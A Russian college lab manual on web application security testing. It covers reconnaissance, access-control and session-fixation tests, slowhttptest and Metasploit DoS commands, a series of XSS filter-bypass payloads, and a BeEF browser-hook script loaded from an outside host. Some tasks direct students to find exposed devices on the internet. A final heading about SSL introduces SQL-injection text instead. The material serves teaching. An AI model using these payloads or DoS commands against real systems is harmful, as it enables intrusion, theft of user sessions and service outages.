Государственное бюджетное профессиональное образовательное учреждение «Дзержинский педагогический колледж»

**Методические разработки практических занятий**

**по *МДК. 09.03   
Обеспечение безопасности веб-приложений***

**Дзержинск – 2017-2021**

|  |  |
| --- | --- |
| **Одобрено на заседании ПЦК преподавателей спец. Информатика**  **Протокол №\_\_\_\_\_\_\_от\_\_\_\_\_\_\_\_**  **Председатель ПЦК \_\_\_\_\_\_\_\_/\_\_\_\_\_\_\_\_\_\_\_\_/**  **Составитель: Руденко Н.А., Пучкина Т.С.** | **Методические разработки практических занятий составлены в соответствии с требованиями федеральных государственных образовательных стандартов среднего профессионального образования по спец. 09.02.07. Информационные системы и программирование** |

Методические разработки практических занятий по по МДК. 09.03 Обеспечение безопасности веб-приложений 09.02.07. Информационные системы в программировании содержат план практического занятия с указанием вида практической работы в соответствии с рабочей программой учебной дисциплины. Представленные, в данных методических указаниях, практические задания направлены на формирование знаний и умений по дисциплине, а так же общих и профессиональных компетенций:

**ПК 9.8. Осуществлять аудит безопасности веб-приложения в соответствии с регламентами по безопасности**

**Иметь практический опыт:**

* Обеспечения безопасной и бесперебойной работы

**Уметь:**

* Осуществлять аудит безопасности веб-приложений.
* Модифицировать веб-приложение с целью внедрения программного кода по обеспечению безопасности его работы

**Знать:**

* Источники угроз информационной безопасности и меры по их предотвращению
* Регламенты и методы разработки безопасных веб-приложений.

|  |  |  |
| --- | --- | --- |
| № |  | стр |
|  | ВВЕДЕНИЕ | 4 |
|  | Сбор информации о web-приложении. | 5 |
|  | Тестирование защищенности механизма управления доступом и сессиями | 8 |
|  | Тестирование на устойчивость к атакам отказа в обслуживании | 13 |
|  | Поиск уязвимостей к атакам XSS. | 15 |
|  | SSL-шифрование соединения | 17 |
|  | Разработка защищенной аутентификации и авторизации | 20 |
|  | Защита пароля алгоритмом хеширования MD5 | 26 |

**ВВЕДЕНИЕ**

В настоящее время веб-приложения являются неотъемлемой частью информационно-телекоммуникационных и компьютерных технологий. Современные веб-приложения решают задачи сбора, хранения, обработки и анализа данных и широко используются в СМИ, электронной коммерции, АСУ ТП и т.д. При этом не только коммерческие компании создают и развивают собственные веб-приложения: государственный сектор также активно включается в процесс развития веб-сервисов, обеспечивающих предоставление онлайн-услуг. В связи с этим задача анализа защищенности веб-приложений является одной из самых актуальных в практической компьютерной безопасности.

Методические рекоминдации представляет собой набор практических работ по основам анализа защищенности веб-приложений. Целью практикума является развитие научно-образовательного обеспечения в области безопасности информационно-телекоммуникационных и компьютерных технологий. Основной задачей практикума является получение обучающимися практических знаний и навыков поиска уязвимостей веб-приложений, ручного анализа результатов работы сканеров безопасности веб-приложений и оценки эффективности специализированных средств защиты.

В соответствии с теорией компьютерной безопасности реализация угроз является возможной вследствие наличия уязвимостей в компьютерной системе. Одним из методов обеспечения безопасности компьютерных систем является анализ защищенности, понимаемый как процесс поиска (идентификации) недостатков и уязвимостей.

**Сбор информации о web-приложении**

**Цель работы**

Целью лабораторной работы является обучение методам и средствам сбора информации об анализируемом веб-приложении.

**Краткие теоретические сведения**

Одним из первых этапов анализа защищенности любой компьютерной системы является сбор информации. В зависимости от используемой методологии анализа защищенности веб-приложения могут применяться различные методы и средства сбора информации. Стоит отметить, что сбор информации, как правило, не характерен для методологии инструментального анализа защищенности (сканирования), а характерен для методологии те-стирования на возможность проникновения.

Методы сбора информации делятся на активные и пассивные. Активные методы требуют непосредственного взаимодействия с исследуемым приложением путем отправки ему запросов и анализа соответствующих ответов, а пассивные методы используют информацию, отправляемую сервером веб-приложения его клиентам (например, HTTP-заголовки X-Frame-Options, Strict-Transport-Security и т.д.) без отправки запросов. При анализе веб-приложений, как правило, используются только активные методы.

Активные методы делятся на методы с подключением к приложению (например, идентификация веб-сервера с помощью сканера Httprint) и методы без подключения (например, сбор информации приложении поисковыми роботами, сканерами Интернет, и т.д.).

* + результате проведения сбора информации о веб-приложении могут быть получены:
  + имена и IP-адреса сетевых узлов, на которых размещены веб-приложение и его компоненты;
  + логины и пароли технологических учетных записей;
  + комментарии разработчиков;
  + данные о системном и прикладном ПО, применяемых средствах защиты и конфигурации веб приложения;
  + адреса электронной почты разработчиков приложения;
  + исходный код серверной части веб-приложения;
  + конфиденциальные файлы.

Программными средствами получения необходимой информа-ции являются:

* поисковые системы (например, Google, Shodan, Bing);
* пециализированные сканеры уязвимостей Интернет (например, http://un1c0rn.net/); инструментальные средства анализа защищенности сетей общего назначения (Nmap, Xprobe2, XSpider);
* инструментальные средства анализа защищенности сетей веб-приложений (AppScan, Acunetix, Burp Suite, ZAP, W3AF и т.д.).

**Постановка задачи**

Выполнить сбор информации об анализируемом веб-приложении test.dpk.su/

**Последовательность действий**

Будем рассматривать сбор информации на примере веб-приложения с условным именем test.dpk.su

Шаг 1. В адресной строке браузера перейти по адресу test.dpk.su. Проанализировать содержимое файла. Сделать выводы о наличии «скрытых» директорий.

Шаг 2. В адресной строке браузера перейти по адресу http://www. test.dpk.su/ и, затем, по адресу http://www. test.dpk.su/clientaccesspolicy.xml. Проанализировать содержимое файлов. Сделать выводы о корректности конфигурации политики междоменного взаимодействия RIA

Шаг 3. Перейти по адресу http://www.google.com. Задать поисковые запросы, определяемые анализируемым приложением, например:

* site:www.test.dpk.su filetype:docx confidential
* site:www.test.dpk.su filetype:doc secret
* site:www.test.dpk.su inurl:admin
* site:www.test.dpk.su filetype:sql
* site:www.test.dpk.su intext: "Access denied"

Проанализировать логику запросов и полученные данные. По-строить свои запросы, используя примеры из базы запросов

Шаг 4. Перейти по адресу http://www.shodanhq.com. Задать следующий поисковый запрос:

hostname:www. test.dpk.su

Построить свои запросы для приложения www. test.dpk.su

Шаг 5. Данный тест выполняется только для приложений, раз-мещенных в лабораторной сети. С помощью сетевых сканеров Nmap и Xprobe выполнить идентификацию ОС веб-сервера:

* nmap –O www. test.dpk.su–vv
* xprobe2 www. test.dpk.su

Шаг 6. Подключиться к веб-серверу, используя утилиту Netcat:

# nc www. test.dpk.su80

Отправить следующий GET запрос

GET / HTTP/1.1

Host: www. test.dpk.su

\r\n

По заголовкам Server и X-Powered-By определить программ-ное обеспечение, реализующее веб-сервер и фрэймворк веб-приложения.

* + браузере установить расширение Wappalyzer, перейти по адресу веб-приложения и проанализировать информацию о компонентах веб-приложения полученное через Wappalyzer.

Шаг 7. С помощью сканера веб-серверов Httprint (дистрибутив Backtrack) или Httprecon (ОС Windows) выполнить идентификацию веб-сервера:

* cd /pentest/enumeration/web/httprint/linux
* ./httprint –h www. test.dpk.su/–s signatures.txt
  + - помощью сканера Wafw00f проверить наличие у веб-приложения подсистемы WAF:
* cd /pentest/web/waffit
* python ./wafw00f.py http://www. test.dpk.su
* python ./wafw00f.py https://www. test.dpk.su

Шаг 8. Выполнить тесты по идентификации поддерживаемых веб-сервером HTTP-методов. Для этого необходимо отправить с помощью Burp Suite или Netcat запрос следующего вида:

OPTIONS / HTTP/1.1

Host: www. test.dpk.su

\r\n

Проверить, поддерживает ли сервер обработку запросов с произвольными методами:

DOGS / HTTP/1.1

Host: www. test.dpk.su

\r\n

Если веб-сервер поддерживает метод TRACE, то это может приве-сти к уязвимости к атаке CrossSite Tracing (XST). Для проверки поддержки веб-сервером методы TRACE отправить запрос

TRACE / HTTP/1.1

Host: www. test.dpk.su

\r\n

Веб-сервер поддерживает метод TRACE и потенциально уязвим к атаке XST, если получен ответа вида

HTTP/1.1 200 OK

Connection: close

Content-Length: 39

TRACE / HTTP/1.1

Host: www. test.dpk.su

**Вопросы и задания**

1. Найти административные интерфейсы коммуникационного сетевого оборудования (видеокамеры, коммутаторы ЛВС, до-машние Wi-Fi маршрутизаторы, и т.д.), подключенные к сети Ин-тернет.
2. Известно, что адрес веб-интерфейса системы VMWareHorizonViewHTMLAccess содержитстроку portal/webclient/views/mainUI.html. Найти такие системы, доступные из сети Интернет.
3. Оценить количество коммутаторов Cisco Catalyst с админи-стративным веб-интерфейсом, подключенным к сети Интернет.

**Тестирование защищенности механизма управления доступом и сессиями**

**Цель работы**

Целью лабораторной работы является обучение методам и средствам тестирования защищенности механизма управления доступом в веб-приложениях.

**Краткие теоретические сведения**

Одним из основных механизмов защиты современных веб-приложений является механизм управления доступом. Обычно выделяют следующие этапы управления доступом:

* идентификация – установление идентификационных данных;
* аутентификация – подтвержденное установление идентификационных данных;
* авторизация – назначение прав идентификационным данным.

При входе в веб-приложение (sign in, log in) пользователь идентифицируется (сообщает свой идентификатор) и аутентифицируется (доказывает, что он именно тот пользователь, чей идентификатор был сообщен).

Большинство веб-приложений используют аутентификацию по паролю. В веб-приложениях с высоким уровнем защищенности (например, в Интернет-банках) также применяются протоколы двухфакторной аутентификации. Очевидным недостатком аутентификации по паролю является возможность использования паролей с плохими статистическими характеристиками. Хранение пароля или его передача по каналам связи в открытом или даже зашифрованном виде потенциально несет угрозу раскрытия пароля.

Тем не менее, современные защищенные веб-приложения в большинстве случаев используют передачу пароля в зашифрованном виде с помощью протоколов семейства SSL/TLS, а хранение пароля в хешированном виде. При этом для хранения паролей пользователей рекомендуется использовать не криптографические хэш-функции общего назначения (например, SHA или MD5), а специализированные функции PBKDF2, bcrypt, scrypt и т.п. Также для хранения паролей необходимо использовать «соль», предназначенную для затруднения проведения атак по словарям и радужным таблицам.

Авторизация в веб-приложениях может быть определена как процесс проверки того, разрешен или запрещен запрос на получения доступа пользователя к ресурсу в соответствии с заданной политикой безопасности. Как правило, в веб-приложениях реализуется ролевая (RBAC) или атрибутная (ABAC) политика логического управления доступом.

Одним из методов тестирования возможности получения привилегий другого пользователя является дифференциальный анализ. Его идея заключается в идентификации всех возможных запросов и соответствующих им URL, которые может выполнить данный пользователь. Затем все полученные запросы выполняются от имени другого пользователя веб-приложения.

Механизм авторизации рекомендуется реализовывать на уровнях представления, бизнеслогики и данных веб-приложения. Уровень представления – не отображает функционал (например, формы, фреймы, ссылки, кнопки), на который пользователь не имеет прав доступа. Уровень бизнес-логики обеспечивает выполнение проверки наличия соответствующих прав доступа до выполнения запроса в веб-приложении, т.е. никакие функции не могут быть выполнены до авторизации (например, если пользователь отправляет запрос на удаление учетной записи, то веб-приложение должно убедиться, что пользователь имеет право на удаление учетной записи и не выполнять никаких функций до того, как это будет установлено). Уровень данных обеспечивает проверку наличия прав доступа пользователя к данным, а не только к функционалу обработки данных (например, пользователь, используя URL вида /delete?record=1, должен удалять только те записи в базе данных, на которые он имеет право доступа DELETE).

**Постановка задачи**

Выполнить тестирование защищенности механизма управления идоступом исследуемого веб-приложения.

**Последовательность действий**

Шаг 1. Настроить работу браузера через штатный прокси-

сервер Burp Suite. В веб-браузере открыть главную страницу те-стируемого веб-приложения www.test.dpk.su

Шаг 2. Зарегистрироваться в веб-приложении. Получить идентификатор учетной записи и пароль доступа к веб-приложению. Проанализировать предсказуемость идентификаторов пользователей и, если это возможно, алгоритм назначения идентификаторов. Проанализировать реализованную в веб-приложении парольную политику. Оценить доступную сложность выбора паролей пользователями. Опционально выполнить атаку полного перебора паролей.

Шаг 3. Перейти по ссылке для аутентификации в приложении. При этом необходимо убедиться, что форма аутентификации доступна только по протоколу HTTPS. Убедиться, что вводимые пользователем логин и пароль отправляются в зашифрованном виде по протоколу HTTPS. Убедиться, что логин и пароль не отправляются с помощью HTTP-метода GET.

Шаг 4. Проверить, что в веб-приложении изменены стандартные пароли для встроенных учетных записей. Проверить, что новые учетные записи создаются с различными паролями.

Шаг 5. Проверить возможность идентификации пользователей веб-приложения через формы регистрации, входа и восстановления пароля.

Для этого следует ввести несуществующее имя пользователя (например, qawsedrf1234) и произвольный пароль, а затем имя существующего пользователя и произвольный, но неправильный пароль. В обоих случаях должно быть выведено одно и то же сообщение об ошибке вида «Ошибка в имени пользователя или неверный пароль». Также оба HTTP-ответа должны совпадать с точностью до изменяемых параметров и быть получены за одно и то же время. В противном случае веб-приложение имеет скрытый канал (оракул), позволяющий идентифицировать его пользователей.

Шаг 6. Проверить возможность реализации атаки подбора па-роля пользователя. Ввести имя пользователя. Ввести несколько раз неправильный пароль (5 – 10 раз). После этого ввести правильный пароль для этой учетной записи. Ввести одинаковый пароль для разных учетных записей (для 5 – 10).

Проверить возможность доступа к веб-приложению. Блокирование учетных записей пользователя после нескольких неудачных попыток входа создает условие для реализации DoS-атаки и не должно использоваться в механизмах защиты от атак подбора паролей. Вместо этого необходимо использовать возрастающие вре-менные задержки или средства антиавтоматизации (например, CAPTCHA).

Шаг 7. Проверить, что чувствительный контент (например, страницы с введенными номерами кредитных карт, счетов, адресов) не доступен через механизм History веб-браузера, а также не кэшируется им. Войти под учетной записью пользователя, перейти на страницу с чувствительным контентом. Ввести новые данные. Выйти из приложения. Нажать кнопку «Back». Пользователь не должен иметь возможность выполнять новые запросы (при корректной реализации управления сессиями). Если при этом пользователю доступны ранее запрашиваемые страницы, то это означает, что серверная часть веб-приложения не запретила веб-браузеру сохранять данные в истории.

Запрещение кэширования определяется наличием HTTP-заголовков Pragma, Cache-Control и Expires со следующими реко-мендованными значениями:

Pragma: no-cache

Cache-Control: no-cache, no-store, must-revalidate,

max-age=0

Expires: -1

Шаг 8. Запустить веб-приложение Web Goat. Ввести логин:

«guest», пароль: «guest».

Перейти по ссылке «Access Control Flaws → Bypass a Path Based Access Control». Изучить условия задачи. Ис-пользуя FireBug (или любой аналогичный инструмент), изменить значение AccessControlMatrix.html на ../../main.jsp. Нажать кнопку «View File».

Перейти по ссылке «LAB: Role Based Access Control → Stage 1». Изучить условия задачи. Войти под пользователем Tom (пароль: Tom). Можно видеть, что от пользователя скрыта кнопка «DeleteProfile», так как он не должен иметь возможности уда-лять учетные записи. Нажать кнопку «View Profile». В Burp Suite просмотреть запрос. Используя FireBug (или любой анало-гичный инструмент), изменить HTML-размету, заменив элемент

<input type="submit"

name="action">

value="ViewProfile"

на элемент

<input type="submit" name="action">

value="DeleteProfile"

Нажать кнопку «DeleteProfile». Просмотреть отправленный запрос в Burp Suite. Профиль пользователя будет удален.

Опционально решить задачу «LAB: Role Based Access Control → Stage 2».

Перейти по ссылке «LAB: Role Based Access Control → Stage 3». Изучить условия задачи. Войти под пользователем Tom (пароль: Tom). Нажать кнопку «View Profile». В Burp Suite про-смотреть запрос. Можно видеть, что пользователю доступны дан-ные своего профиля. Используя FireBug (или любой аналогичный инструмент), изменить HTML-размету, заменив элемент

Admin Functions».

<option value="105" selected="">Tom Cat (employee)</option>

на элемент

<option value="103" selected="">Tom Cat (employee)</option>

Нажать кнопку «ViewProfile». Просмотреть отправленный запрос в Burp Suite. Будут выведены данные профиля пользователя Curly Stooge.

Опционально решить задачу «LAB: Role Based Access Control → Stage 4».

Перейти по ссылке «Remote admin access». Изучить условия задачи. Просмотреть подменю «Admin Functions». Перейти по ссылке WebGoat/attack?Screen=86&menu=200&admin=true.

Просмотреть подменю

**Вопросы и задания**

1. Изучить рекомендации к защищенной реализации механизма хранения паролей. Исследовать механизм восстановления паролей выбранного веб-приложения.
2. Исследовать минимально допустимую длину и сложность паролей в произвольных пяти веб-приложениях из рейтинга

ALEXA TOP 100.

1. Исследовать наличие оракулов в механизмах аутентифика-ции произвольных пяти веб-приложениях из рейтинга ALEXA TOP 100.

**Тестирование защищенности механизма управления сессиями**

**Краткие теоретические сведения**

Сессия веб-приложения – это последовательность HTTP-запросов и соответствующих им HTTP-ответов, ассоциированных

* конкретным пользователем. Протокол HTTP не имеет встроенных механизмов управления сессиями (stateless protocol) и поэтому механизм управления сессиями реализуется логикой веб-приложения. Как минимум, сессия создается при успешной аутентификации пользователя в веб-приложении. При этом генерируется уникальный идентификатор (токен) сессии, ассоциированный с этим пользователем. Данный идентификатор передается в каждом HTTP-запросе и является аналогом пароля пользователя, так как любой HTTP-запрос, содержащий такой идентификатор, будет воспринят веб-приложением как запрос от легитимного пользователя.

Как правило, идентификатор сессии передается в заголовках Cookie средствами веб-браузера, реже в специальных HTTP-заголовках (например, X-Auth-Token) средствами AJAX. Передача идентификатора сессии в URL является наименее защищенной и в настоящее время, как правило, не применяется.

Приведем основные требования безопасности к реализации ме-ханизма управления сессиями:

* имя сессионного идентификатора не должно позволять легко идентифицировать веб-приложение (например, PHPSESSID, ASP.NET\_SessionId, JSESSIONID);
* длина сессионного идентификатора должна быть не менее 128 бит;
* энтропия сессионного идентификатора должна быть не менее64 бит;
* передача сессионного идентификатора должна осуществляться в заголовках Cookie с флагами HttpOnly, Secure и выставлен-ным атрибутом Domain;
* после изменения состояния пользователя (вход в веб-приложение, смена пароля, смена роли, истечение таймаута не-активности и т.д.), критичного с точки зрения политики безопасности, должен создаваться новый идентификатор сессии, а старый – аннулироваться;
* после изменения протокола HTTP на HTTPS должен создаваться новый идентификатор сессии, а старый – аннулироваться;
* аннулирование сессионного идентификатора должно быть реализовано как на клиенте, так и на сервере;
* должны быть реализованы таймаут неактивности, абсолютный таймаут и таймаут обновления сессионного идентификатора.

Выделяют следующие основные атаки на механизмы управления сессиями:

* фиксация сессии;
* подбор идентификатора сессии;
* перехват идентификатора сессии;
* кража идентификатора сессии.

Получение идентификатора сессии пользователя приводит, как правило, к получению злоумышленником всех прав пользователя.

**Постановка задачи**

Выполнить тестирование защищенности механизма управления сессиями исследуемого веб-приложения.

**Последовательность действий**

Шаг 1. Настроить работу браузера через штатный прокси-

сервер Burp Suite. В веб-браузере открыть главную страницу тестируемого веб-приложения www.test.dpk.su Просмотреть

Cookie, определить, создается ли сессия для неаутентифицированных (анонимных) пользователей.

Шаг 2. Ввести корректные логин и пароль. Определить, что используется в качестве транспорта для передачи идентификатора сессии. Если для этого используется механизм Cookie, то определить имена cookie, их атрибуты (Secure, HttpOnly, Domain, Path, Expires) и значения. Проанализировать адекватность используемых атрибутов Cookie.

Шаг 3. Проанализировать имя идентификатора сессии, его структуру и значение, определить, используется ли кодирование или шифрование данных. Используя инструмент Sequencer в Burp

Suite, проанализировать вероятностные характеристики последовательности идентификаторов сессий. Сделать вывод о соответствии реализации функции генерации идентификаторов требованиям безопасности. Сделать вывод о возможности использования атаки грубой силы для генерации сессионного идентификатора пользователя.

Шаг 4. Проверить аннулируемость сессии на серверной стороне. Сохранить Cookie в веб-браузере (можно использовать

расширение Export Cookies), выйти из приложения. Импортировать сохраненные ранее Cookie в браузер (можно использовать расширение Import Cookies). Перейти по любому адресу веб-приложения. Если вы попадете в предыдущую сессию, то это означает, что аннулирование сессии происходит только на клиенте. Проверить, что пользователь может завершить свою сессию в любой момент времени – каждая страница, доступная после аутентификации, содержит ссылку типа «Sign out», позволяющую завершить сессию. Проверить, какие механизмы таймаутов реализованы в веб-приложении.

Шаг 5. Проверить возможность выполнения атаки типа «Фиксация сессии». Для этого проверить наличие следующего

недостатка: веб-приложение не обновляет сессионный идентификатор, отправленный браузером пользователя, после успешной аутентификации последнего. Отправить запрос веб-приложению и получить сессионный идентификатор в Cookie:

GET / HTTP/1.1

Host: www.test.dpk.su

\r\n

Получить и проанализировать ответ

HTTP/1.1 200 OK

Date: Wed, 14 Aug 2008 08:45:11 GMT

Server: IBM\_HTTP\_Server

Set-Cookie: ID=d8eyYq3L0z2fgq10m4v; Path=/; secure

Аутентифицироваться, используя запрос с полученным иден-тификатором ID:

POST https://www.test.dpk.su/auth HTTP/1.1 Host: www.test.dpk.su

Cookie: ID=d8eyYq3L0z2fgq10m4v

\r\n

user=test&password=Zz123456Если аутентификация прошла успешно, то приложение уязвимо к атаке фиксации сессии.

Дополнительно убедиться, что идентификатор сессии передается только в Cookie и не раскрывается в логфайлах, сообщениях об ошибках, URL и т.д.

Шаг 7. Проверить, что идентификатор сессии меняется после повторной аутентификации, смены пароля, роли и т.д.

Шаг 8. Проверить, что веб-приложение не позволяет иметь две одинаковые сессии с двух разных узлов сети.

**Вопросы и задания**

1. Предложить сценарий атаки, использующий недостаток аннулирования сессии только на клиентской стороне веб-приложения.
2. Используя поисковые системы (Google, Shodan), найти веб-приложения с механизмом URL Rewriting.
3. Написать сценарий JavaScript, устанавливающий или считывающий идентификатор сессии пользователя.

**Тестирование на устойчивость к атакам отказа в обслуживании**

**Цель работы**

Целью лабораторной работы является обучение методам и средствам тестирования веб-приложений на устойчивость к атакам отказа в обслуживании (DoS-атакам).

**Краткие теоретические сведения**

Целью реализации DoS-атаки является нарушение доступности веб-приложения. Это может быть достигнуто путем DoS-атаки на канал связи, программную платформу веб-сервера или на само веб-приложение.

Традиционно DoS-атаки являются сетевыми (используют недостатки сетевых технологий) и могут быть классифицированы по уровням модели ISO/OSI. Например, атаки ICMP Flood (L3) и DNS/NTP Amplification (L7) приводят к отказу канала связи, а атаки Ping of Death (L3), SYN Flood (L4), SSL Renegotiation DoS (L5/L6), HTTP Flood (L7), Slow HTTP (L7) воздействуют на платформу веб-приложения (операционная система, веб-сервер, фрэймворк и т.д.).

Для достижения отказа в обслуживании с помощью атак прикладного уровня (L7) атакующему может потребоваться существенно меньшее количество ресурсов. Например, если для успешной реализация атаки SYN Flood она должна быть распределенной (DDoS) и использовать ботнет, то для реализации атак класса Slow HTTP DoS (Slowloris, Slow HTTP Post, Slow HTTP Read) обычно достаточно одного компьютера

Вместе с тем для веб-приложений также характерны DoS-атаки уровня приложения, возможные из-за наличия уязвимостей в его коде. Например, возможность проведения атаки типа SQL injection может позволить злоумышленнику удалить базу данных с учетными записями пользователей или выполнить запрос вида select benchmark(100000000, now()) для израсходования ресурсов системы. Также примерами атак уровня приложения являются атаки XML Billion Laughs (XML Bomb), XML Quadratic Blowup Attack, ZIP of Death (ZIP Bomb).

**Постановка задачи**

Выполнить тестирование устойчивости веб-приложения www.test.dpk.su к DoS-атакам на уровне протокола HTTP.

**Последовательность действий**

Шаг 1. Установить программу slowhttptest, доступную по URL вида https://code.google.com/p/slowhttptest. Изучить документацию. Запустить сетевой анализатор Wireshark.

Шаг 2. На тестовом стенде, эмулирующем работу веб-сервера www.test.dpk.su, установить и выполнить базовые настройки для веб-серверов Apache, Nginx и IIS. Запустить веб-сервер Apache.

Шаг 3. Запустить в отношении веб-сервера атаку Slowloris, просмотреть трассировку соединения, проверить доступность веб-сервера с помощью произвольного браузера:

* slowhttptest -H -c 3000 -r 3000 -i 50 -l 6000–u http://www.test.dpk.su

Провести несколько тестов с различными параметрами. Построить графики состояния веб-сервера.

Шаг 4. Запустить в отношении веб-сервера атаку Slow HTTP POST, просмотреть трассировку соединения, проверить доступность веб-сервера с помощью произвольного браузера:

* slowhttptest -B -c 3000 -r 3000 -i 50 -l 6000–u http://www.test.dpk.su

Провести несколько тестов с различными параметрами. Построить графики состояния веб-сервера.

Шаг 5. Запустить в отношении веб-сервера атаку Slow Read, выбрав файл достаточного размера, просмотреть трассировку соединения, проверить доступность веб-сервера с помощью произвольного браузера:

* slowhttptest -X -c 3000 -r 3000 -l 6000 -k 5 -n 50 -w 1 -y 2 -z 1 –u http://www.test.dpk.su/bigauth.js

Провести несколько тестов с различными параметрами. Построить графики состояния веб-сервера.

Шаг 6. Остановить сервер Apache. Запустить сервер Nginx.

Проделать предыдущие шаги в отношении сервера Nginx.

Шаг 7. Остановить сервер Nginx. Запустить сервер IIS.

Проделать предыдущие шаги в отношении сервера IIS.

Шаг 8. В отношении сервера Apache выполнить атаку Apache Range Header. Проанализировать результаты. Выполнить команду

* slowhttptest -R -u http://www.test.dpk.su -t GET -c 1000 -a 10 -b 3000 -r 500

Выполнить атаку Apache Range Header с использованием

Metasploit Framework:

# msfconsole

* use auxiliary/dos/http/apache\_range\_dos
* show options
* set RHOSTS www.test.dpk.su
* set RPORT 80
* set RLIMIT 100
* set THREADS 3
* run

**Вопросы и задания**

1. Как можно по косвенным признакам определить уязвимость веб-сервера к атакам типа Slow HTTP DoS?
2. Реализовать механизмы защиты для веб-сервера Apache от атак Slow HTTP DoS.
3. Реализовать и протестировать веб-приложение, уязвимое к атаке XML Bomb.

**Поиск уязвимостей к атакам XSS**

**Цель работы**

Целью лабораторной работы является обучение методам и средствам идентификации и эксплуатации уязвимостей веб-приложений к атакам XSS.

**Краткие теоретические сведения**

Атака Cross-Site Scripting (XSS) – это атака на веб-приложение, использующая недостатки неправильной обработки данных и позволяющая выполнить произвольный сценарий (JavaScript, VBScript) в контексте источника (origin) уязвимого веб-приложения.

Атаки XSS классифицируются по вектору и способу воздействия. По вектору воздействия атаки XSS бывают отраженными (reflected), устойчивыми (persistent) и основанными на объектной модели документа (DOM-based). По вектору атаки XSS делятся на активные и пассивные.

Устойчивая атака XSS – это XSS атака, в результате которой введенный злоумышленником код сохраняется на веб-сервере и возвращается пользователю в запросе не содержащем вектор атаки.

Отраженная атака XSS – XSS атака, в результате которой код, введенный злоумышленником, передается пользователю в ответе на тот же запрос, в котором передан вектор атаки.

Атака XSS, называется DOM-based, если код злоумышленника может быть выполнен в браузере пользователя без отправки запроса на сервер веб-приложения.

* + результате успешной реализации атаки XSS злоумышленник может выполнить, например, следующие действия:
* перенаправить пользователя на любой веб-сайт;
* получить аутентификационные данные пользователя, переда-ющиеся в Cookie;
* получить любые данные, к которым имеет доступ клиентская часть веб-приложения;
* получить доступ к внутренней сети пользователя;
* выполнить Deface веб-сайта и т.д.
  + общемировой практике тестирования защищенности веб-приложений в качестве доказательства уязвимости приложения к атаке XSS принято демонстрировать возможность выполнения

JavaScript-кода вида alert(1), prompt(/XSS/), confirm(0) и т.п.

При тестировании наличия уязвимости к атакам XSS важно определять контекст, в который выводятся данные. Существуют следующие виды контекстов: HTML, SCRIPT, STYLE, URL и ат-рибутный. Ниже приведены примеры XSS-векторов для каж-дого из контекстов:

<h1>Hello,<img/src=1 onerror=prompt(0)></h1> <script>var name='';alert(1);'';</script>

<a href="javascript:alert&lpar;1rpar;">ClickMe</a>

<div class=""onmouseover="alert(1);">…</div>

<div syle="width:expre/\*\*/ssion(alert(1))">…</div>

**Постановка задачи**

Выполнить идентификацию и эксплуатацию уязвимостей к атакам XSS.

**Последовательность действий**

Шаг 1. Скачать образ «Web For Pentesters» с веб-сайта [www.pentesterlab.com](http://www.pentesterlab.com). Создать виртуальную машину.

Загрузиться с диска. В браузере открыть веб-приложение.

Шаг 2. Перейти по ссылке «XSS → Example 1». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор

<script>alert(1)</script>

Шаг 3. Перейти по ссылке «XSS → Example 2». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор

<script>alert(1)</script>

Убедиться, что слово script фильтруется. Ввести вектор

<ScRipT>alert(1)</sCrIpT>

Шаг 4. Перейти по ссылке «XSS → Example 3». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор

<script>alert(1)</script>

Убедиться, что слово <script> вырезается. Ввести вектор

<scr<script>ipt>alert(1)</s</script>cript>

Шаг 5. Перейти по ссылке «XSS → Example 4». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор

<script>alert(1)</script>

Убедиться, что слово <script> вырезается корректно. Ввести вектор

<img/src=1 onerror=alert(1)>

Шаг 6. Перейти по ссылке «XSS → Example 5». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектора

<script>alert(1)</script> <img/src=1 onerror=alert(1)>

Убедиться, что слово alert вырезается корректно. Ввести вектора

<img/src=1 onerror=\u0061alert(1)> <img/src=1 onerror=prompt(1)>

<img src=1 onerror="t=/aler/.source%2b/t(1)/.source; eval(t)">

Шаг 7. Перейти по ссылке «XSS → Example 6». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектора

";alert(1);"

</script><script>alert(1);//

Шаг 8. Перейти по ссылке «XSS → Example 7». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор

";alert(1);"

Убедиться, что символ " кодируется в HTML-сущность &quot. В качестве переменной name ввести вектор

';alert(1);'

Шаг 9. Перейти по ссылке «XSS → Example 8». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. Вводимые данные кодируются корректно. Изменить URL на следующий:

xss/example8.php/"onsubmit="alert(1)

Шаг 10. Перейти по ссылке «XSS → Example 9». Проанализировать логику функционирования веб-приложения. Определить контекст и тип возможной атаки XSS. В браузере перейти по ссылке

xss/example9.php#<script>alert(1)</script>.

Убедиться, что никакого HTTP-запроса не отправляется.

Шаг 11. Запустить среду эксплуатации уязвимостей BeEF. Перейти по ссылке «XSS → Example 1». В качестве значения параметра name ввести вектор

<script src="http://1.1.1.1:3000/hook.js"></script>

Перейти в консоль BeEF, ввести стандартные логин и пароль (beef:beef). В разделе «Online Browser» должен отображаться ваш браузер. Во вкладке «Details» просмотреть информацию о браузе-ре и компьютере. Перейти во вкладку «Commands». Выполнить следующие команды и проанализировать полученные результаты:

* «Create Alert Dialog»;
* «Redirect Browser», перенаправив пользователя на сайт http://evil.com;
* «Clickjacking»;
* «Clippy»;
* «Fake Notification Bar»;
* «Google Phishing»;
* «Pretty Theft».

**Вопросы и задания**

1. Выполнить все задания по поиску уязвимостей к атакам XSS

на сайте [xss-game.appspot.com.](https://t.co/7GVIFfGcBP)

1. Выполнить несколько заданий по поиску уязвимостей к атакам XSS на сайте [escape.alf.nu.](http://t.co/bvlO9IXxmY)
2. Выполнить несколько заданий по поиску уязвимостей к атакам XSS на сайте prompt.ml.

**SSL-шифрование соединения**

**Цель работы**

Целью лабораторной работы является обучение методам и средствам идентификации и эксплуатации уязвимостей в веб-приложениях к атакам SQL-injection.

**Краткие теоретические сведения**

Атака внедрения операторов SQL (SQL-injection) – это внедрение во входные данные, обрабатываемые веб-приложением, операторов языка SQL.

